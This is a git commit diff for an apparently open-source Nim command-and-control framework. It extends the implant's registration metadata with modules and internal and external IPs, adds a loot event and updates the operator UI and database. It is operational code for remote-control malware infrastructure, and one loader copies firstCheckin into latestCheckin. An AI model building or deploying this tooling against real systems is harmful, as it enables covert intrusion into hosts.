Added remote address and modules to agent structure. Help command now only shows commands for which the agent has been configured.
This commit is contained in:
@@ -3,6 +3,6 @@
|
||||
-d:release
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="255"
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="66"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -1,6 +1,7 @@
|
||||
import winim, os, net, strformat, strutils, registry, zippy
|
||||
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
import ../../modules/manager
|
||||
|
||||
# Hostname/Computername
|
||||
proc getHostname(): string =
|
||||
@@ -217,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
||||
process: string.toBytes(getProcessExe()),
|
||||
pid: cast[uint32](getProcessId()),
|
||||
isElevated: cast[uint8](isElevated()),
|
||||
sleep: cast[uint32](ctx.sleep)
|
||||
sleep: cast[uint32](ctx.sleep),
|
||||
modules: cast[uint32](MODULES)
|
||||
)
|
||||
)
|
||||
|
||||
@@ -237,6 +239,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
|
||||
.add(data.metadata.pid)
|
||||
.add(data.metadata.isElevated)
|
||||
.add(data.metadata.sleep)
|
||||
.add(data.metadata.modules)
|
||||
|
||||
let metadata = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
@@ -129,7 +129,7 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
|
||||
Handling console commands
|
||||
]#
|
||||
proc displayHelp(component: ConsoleComponent) =
|
||||
for module in getModules():
|
||||
for module in getModules(component.agent.modules):
|
||||
for cmd in module.commands:
|
||||
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
|
||||
|
||||
@@ -252,7 +252,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
||||
Session information
|
||||
]#
|
||||
let domain = if component.agent.domain.isEmptyOrWhitespace(): "" else: fmt".{component.agent.domain}"
|
||||
let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ip} | {$component.agent.pid}/{component.agent.process}".cstring
|
||||
let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ipInternal} | {$component.agent.pid}/{component.agent.process}".cstring
|
||||
igTextColored(GRAY, sessionInfo)
|
||||
igSameLine(0.0f, 0.0f)
|
||||
|
||||
|
||||
@@ -32,7 +32,7 @@ proc AgentModal*(): AgentModalComponent =
|
||||
for cmd in module.commands:
|
||||
result &= " - " & cmd.name & "\n"
|
||||
proc compareModules(x, y: Module): int =
|
||||
return cmp(x.name, y.name)
|
||||
return cmp(x.moduleType, y.moduleType)
|
||||
|
||||
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
|
||||
|
||||
|
||||
@@ -59,12 +59,13 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||
ImGui_TableFlags_SizingStretchSame.int32
|
||||
)
|
||||
|
||||
let cols: int32 = 11
|
||||
let cols: int32 = 12
|
||||
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
||||
|
||||
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
||||
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Internal", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("External", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
@@ -99,21 +100,23 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||
if igTableSetColumnIndex(1):
|
||||
igText(agent.listenerId)
|
||||
if igTableSetColumnIndex(2):
|
||||
igText(agent.ip)
|
||||
igText(agent.ipInternal)
|
||||
if igTableSetColumnIndex(3):
|
||||
igText(agent.username)
|
||||
igText(agent.ipExternal)
|
||||
if igTableSetColumnIndex(4):
|
||||
igText(agent.hostname)
|
||||
igText(agent.username)
|
||||
if igTableSetColumnIndex(5):
|
||||
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
|
||||
igText(agent.hostname)
|
||||
if igTableSetColumnIndex(6):
|
||||
igText(agent.os)
|
||||
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
|
||||
if igTableSetColumnIndex(7):
|
||||
igText(agent.process)
|
||||
igText(agent.os)
|
||||
if igTableSetColumnIndex(8):
|
||||
igText($agent.pid)
|
||||
igText(agent.process)
|
||||
if igTableSetColumnIndex(9):
|
||||
let duration = now() - agent.firstCheckin.fromUnix().utc()
|
||||
igText($agent.pid)
|
||||
if igTableSetColumnIndex(10):
|
||||
let duration = now() - agent.firstCheckin.fromUnix().local()
|
||||
let totalSeconds = duration.inSeconds
|
||||
|
||||
let hours = totalSeconds div 3600
|
||||
@@ -123,8 +126,8 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
|
||||
igText(fmt"{timeText} ago")
|
||||
|
||||
if igTableSetColumnIndex(10):
|
||||
let duration = now() - component.agentActivity[agent.agentId].fromUnix().utc()
|
||||
if igTableSetColumnIndex(11):
|
||||
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
|
||||
let totalSeconds = duration.inSeconds
|
||||
|
||||
let hours = totalSeconds div 3600
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import tables
|
||||
import times
|
||||
import parsetoml, json
|
||||
import system
|
||||
import mummy
|
||||
@@ -179,6 +178,7 @@ type
|
||||
pid*: uint32
|
||||
isElevated*: uint8
|
||||
sleep*: uint32
|
||||
modules*: uint32
|
||||
|
||||
AgentRegistrationData* = object
|
||||
header*: Header
|
||||
@@ -193,15 +193,17 @@ type
|
||||
username*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
ip*: string
|
||||
ipInternal*: string
|
||||
ipExternal*: string
|
||||
os*: string
|
||||
process*: string
|
||||
pid*: int
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
tasks*: seq[Task]
|
||||
firstCheckin*: DateTime
|
||||
latestCheckin*: DateTime
|
||||
modules*: uint32
|
||||
firstCheckin*: int64
|
||||
latestCheckin*: int64
|
||||
sessionKey*: Key
|
||||
|
||||
# Session entry for client UI
|
||||
@@ -211,12 +213,14 @@ type
|
||||
username*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
ip*: string
|
||||
ipInternal*: string
|
||||
ipExternal*: string
|
||||
os*: string
|
||||
process*: string
|
||||
pid*: int
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
modules*: uint32
|
||||
firstCheckin*: int64
|
||||
latestCheckin*: int64
|
||||
|
||||
@@ -259,7 +263,8 @@ type
|
||||
CLIENT_AGENT_CHECKIN = 103'u8 # Update agent checkin
|
||||
CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary
|
||||
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
|
||||
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
|
||||
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
|
||||
CLIENT_LOOT = 107'u8 # Download file or screenshot to the operator desktop
|
||||
|
||||
Event* = object
|
||||
eventType*: EventType
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import tables, strformat
|
||||
import ../common/types
|
||||
|
||||
const MODULES {.intdefine.} = 0
|
||||
const MODULES* {.intdefine.} = 0
|
||||
|
||||
type
|
||||
ModuleManager* = object
|
||||
@@ -75,5 +75,10 @@ proc getCommandByName*(cmdName: string): Command =
|
||||
proc getAvailableCommands*(): Table[string, Command] =
|
||||
return manager.commandsByName
|
||||
|
||||
proc getModules*(): seq[Module] =
|
||||
return manager.modules
|
||||
proc getModules*(modules: uint32 = 0): seq[Module] =
|
||||
if modules == 0:
|
||||
return manager.modules
|
||||
else:
|
||||
for m in manager.modules:
|
||||
if (modules and cast[uint32](m.moduleType)) == cast[uint32](m.moduleType):
|
||||
result.add(m)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import terminal, strformat, strutils, sequtils, tables, times, system, std/[dirs, paths]
|
||||
import terminal, strformat, strutils, sequtils, tables, system, std/[dirs, paths]
|
||||
|
||||
import ../globals
|
||||
import ../db/database
|
||||
@@ -11,17 +11,17 @@ import ../../common/[types, utils, serialize]
|
||||
Agent API
|
||||
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
|
||||
]#
|
||||
proc register*(registrationData: seq[byte]): bool =
|
||||
proc register*(registrationData: seq[byte], remoteAddress: string): bool =
|
||||
|
||||
# The following line is required to be able to use the `cq` global variable for console output
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
try:
|
||||
let agent: Agent = cq.deserializeNewAgent(registrationData)
|
||||
let agent: Agent = cq.deserializeNewAgent(registrationData, remoteAddress)
|
||||
|
||||
# Validate that listener exists
|
||||
if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
|
||||
raise newException(CatchableError, fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}." & "\n")
|
||||
raise newException(CatchableError, fmt"{agent.ipInternal} attempted to register to non-existent listener: {agent.listenerId}." & "\n")
|
||||
|
||||
# Store agent in database
|
||||
if not cq.dbStoreAgent(agent):
|
||||
@@ -67,7 +67,7 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
|
||||
raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
|
||||
|
||||
# Update the last check-in date for the accessed agent
|
||||
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
|
||||
cq.agents[agentId].latestCheckin = cast[int64](timestamp)
|
||||
cq.client.sendAgentCheckin(agentId)
|
||||
|
||||
# Return tasks
|
||||
@@ -133,6 +133,7 @@ proc handleResult*(resultData: seq[byte]) =
|
||||
writeFile(downloadPath, fileBytes)
|
||||
|
||||
cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n")
|
||||
cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).")
|
||||
|
||||
of RESULT_NO_OUTPUT:
|
||||
cq.output()
|
||||
|
||||
@@ -138,7 +138,7 @@ proc httpPost*(request: Request) =
|
||||
headers.add((header, value.getStringValue()))
|
||||
|
||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||
if not register(string.toBytes(request.body)):
|
||||
if not register(string.toBytes(request.body), request.remoteAddress):
|
||||
request.respond(400, body = "")
|
||||
return
|
||||
|
||||
|
||||
@@ -39,7 +39,7 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
|
||||
for httpMethod in postMethods:
|
||||
router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost)
|
||||
|
||||
let server = newServer(router.toHandler())
|
||||
let server = newServer(router.toHandler(), maxBodyLen = 1024 * 1024 * 1024)
|
||||
|
||||
# Store listener in database
|
||||
var listener = Listener(
|
||||
|
||||
@@ -29,12 +29,14 @@ proc dbInit*(cq: Conquest) =
|
||||
username TEXT NOT NULL,
|
||||
hostname TEXT NOT NULL,
|
||||
domain TEXT NOT NULL,
|
||||
ip TEXT NOT NULL,
|
||||
ipInternal TEXT NOT NULL,
|
||||
ipExternal TEXT NOT NULL,
|
||||
os TEXT NOT NULL,
|
||||
elevated BOOLEAN NOT NULL,
|
||||
sleep INTEGER DEFAULT 10,
|
||||
firstCheckin DATETIME NOT NULL,
|
||||
latestCheckin DATETIME NOT NULL,
|
||||
sleep INTEGER NOT NULL,
|
||||
modules INTEGER NOT NULL,
|
||||
firstCheckin INTEGER NOT NULL,
|
||||
latestCheckin INTEGER NOT NULL,
|
||||
sessionKey BLOB NOT NULL
|
||||
);
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import system, terminal, tiny_sqlite, times, sequtils
|
||||
import system, terminal, tiny_sqlite, sequtils
|
||||
|
||||
import ../core/logger
|
||||
import ../../common/types
|
||||
@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
|
||||
let sessionKeyBlob = agent.sessionKey.toSeq()
|
||||
|
||||
conquestDb.exec("""
|
||||
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, firstCheckin, latestCheckin, sessionKey)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"), sessionKeyBlob)
|
||||
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte]))
|
||||
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||
|
||||
# Convert session key blob back to array
|
||||
var sessionKey: Key
|
||||
@@ -51,12 +51,14 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
||||
username: username,
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ip: ip,
|
||||
ipInternal: ipInternal,
|
||||
ipExternal: ipExternal,
|
||||
os: os,
|
||||
elevated: elevated,
|
||||
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
|
||||
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
|
||||
firstCheckin: cast[int64](firstCheckin),
|
||||
latestCheckin: cast[int64](firstCheckin),
|
||||
process: process,
|
||||
modules: cast[uint32](modules),
|
||||
sessionKey: sessionKey,
|
||||
tasks: @[] # Initialize empty tasks
|
||||
)
|
||||
@@ -75,14 +77,15 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName):
|
||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte]))
|
||||
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName):
|
||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||
|
||||
# Convert session key blob back to array
|
||||
var sessionKey: Key
|
||||
if sessionKeyBlob.len == 32:
|
||||
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
|
||||
else:
|
||||
# Handle invalid session key - log error but continue
|
||||
cq.warning("Invalid session key length for agent: ", agentId)
|
||||
|
||||
let a = Agent(
|
||||
@@ -93,18 +96,18 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
|
||||
username: username,
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ip: ip,
|
||||
ipInternal: ipInternal,
|
||||
ipExternal: ipExternal,
|
||||
os: os,
|
||||
elevated: elevated,
|
||||
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
|
||||
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
|
||||
firstCheckin: cast[int64](firstCheckin),
|
||||
latestCheckin: cast[int64](firstCheckin),
|
||||
process: process,
|
||||
modules: cast[uint32](modules),
|
||||
sessionKey: sessionKey,
|
||||
tasks: @[]
|
||||
tasks: @[] # Initialize empty tasks
|
||||
)
|
||||
|
||||
agents.add(a)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
cq.error(getCurrentExceptionMsg())
|
||||
@@ -137,18 +140,6 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool =
|
||||
cq.error(getCurrentExceptionMsg())
|
||||
return false
|
||||
|
||||
proc dbUpdateCheckin*(cq: Conquest, agentName: string, timestamp: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("UPDATE agents SET latestCheckin = ? WHERE name = ?", timestamp, agentName)
|
||||
|
||||
conquestDb.close()
|
||||
return true
|
||||
except:
|
||||
cq.error(getCurrentExceptionMsg())
|
||||
return false
|
||||
|
||||
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
@@ -136,8 +136,8 @@ proc startServer*(profilePath: string) =
|
||||
var router: Router
|
||||
router.get("/*", upgradeHandler)
|
||||
|
||||
# Increased websocket message length in order to support dotnet assembly execution
|
||||
let server = newServer(router, websocketHandler, maxMessageLen = 1024 * 1024 * 1024)
|
||||
# Increased websocket message length in order to support dotnet assembly execution (1GB)
|
||||
let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
|
||||
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0")
|
||||
|
||||
# Conquest framework entry point
|
||||
|
||||
@@ -74,7 +74,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
|
||||
data: data
|
||||
)
|
||||
|
||||
proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
||||
proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): Agent =
|
||||
|
||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||
|
||||
@@ -102,12 +102,13 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
||||
username = unpacker.getDataWithLengthPrefix()
|
||||
hostname = unpacker.getDataWithLengthPrefix()
|
||||
domain = unpacker.getDataWithLengthPrefix()
|
||||
ip = unpacker.getDataWithLengthPrefix()
|
||||
ipInternal = unpacker.getDataWithLengthPrefix()
|
||||
os = unpacker.getDataWithLengthPrefix()
|
||||
process = unpacker.getDataWithLengthPrefix()
|
||||
pid = unpacker.getUint32()
|
||||
isElevated = unpacker.getUint8()
|
||||
sleep = unpacker.getUint32()
|
||||
modules = unpacker.getUint32()
|
||||
|
||||
return Agent(
|
||||
agentId: Uuid.toString(header.agentId),
|
||||
@@ -115,15 +116,17 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
||||
username: username,
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ip: ip,
|
||||
ipInternal: ipInternal,
|
||||
ipExternal: remoteAddress,
|
||||
os: os,
|
||||
process: process,
|
||||
pid: int(pid),
|
||||
elevated: isElevated != 0,
|
||||
sleep: int(sleep),
|
||||
modules: modules,
|
||||
tasks: @[],
|
||||
firstCheckin: now(),
|
||||
latestCheckin: now(),
|
||||
firstCheckin: now().toTime().toUnix(),
|
||||
latestCheckin: now().toTime().toUnix(),
|
||||
sessionKey: sessionKey
|
||||
)
|
||||
|
||||
|
||||
@@ -9,14 +9,16 @@ proc `%`*(agent: Agent): JsonNode =
|
||||
result["username"] = %agent.username
|
||||
result["hostname"] = %agent.hostname
|
||||
result["domain"] = %agent.domain
|
||||
result["ip"] = %agent.ip
|
||||
result["ipInternal"] = %agent.ipInternal
|
||||
result["ipExternal"] = %agent.ipExternal
|
||||
result["os"] = %agent.os
|
||||
result["process"] = %agent.process
|
||||
result["pid"] = %agent.pid
|
||||
result["elevated"] = %agent.elevated
|
||||
result["sleep"] = %agent.sleep
|
||||
result["firstCheckin"] = %agent.firstCheckin.toTime().toUnix()
|
||||
result["latestCheckin"] = %agent.latestCheckin.toTime().toUnix()
|
||||
result["modules"] = %agent.modules
|
||||
result["firstCheckin"] = %agent.firstCheckin
|
||||
result["latestCheckin"] = %agent.latestCheckin
|
||||
|
||||
proc `%`*(listener: Listener): JsonNode =
|
||||
result = newJObject()
|
||||
|
||||
Reference in New Issue
Block a user